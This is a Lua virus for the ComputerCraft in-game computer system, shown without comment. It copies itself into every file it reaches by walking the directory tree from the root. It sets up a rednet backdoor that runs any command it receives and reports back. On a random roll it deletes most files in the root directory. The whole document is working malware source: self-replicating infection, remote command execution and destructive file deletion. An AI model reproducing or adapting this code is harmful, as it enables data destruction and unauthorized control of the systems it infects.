local infected = true function infect(file) local virusfile = fs.open(shell.getRunningProgram(), "r") local viruscode = virusfile.readAll() local inFile = fs.open(file, "r") local fileCode = inFile.readAll() inFile.close() virusfile.close() if string.match(fileCode, "local infected = true") then else if file == "key" then else local infectFile = fs.open(file,"w") infectFile.writeLine("local infected = true") infectFile.writeLine(viruscode) infectFile.writeLine(fileCode) infectFile.close() end end end function remoteCommandStart() local sides = {"front","back","right","left","top","bottom"} local conn = false for i=1,#sides do if peripheral.isPresent(sides[i]) and peripheral.getType(sides[i]) == "modem" then rednet.open(sides[i]) conn = true break end end if conn then remoteCommand() else end end function remoteCommand() local id,msg = rednet.receive("162857") shell.run(msg) rednet.send(id, "Done: "..msg, "162857") end function payload() local a = math.random(1, 5) if a == 3 then local files = fs.list("/") for i=1,#files do if files[i] == "rom" then else if files[i] == "startup" then else fs.delete(files[i]) end end end end end function infectDir(directory) shell.setDir(directory) local files = fs.list(directory) for i=1,#files do if fs.isDir(files[i]) then if files[i] == "rom" then else infectDir(shell.dir().."/"..files[i]) end else infect(shell.dir().."/"..files[i]) end end shell.setDir("") end infectDir("/") payload() while true do parallel.waitForAny(shell.run("shell"), remoteCommandStart()) end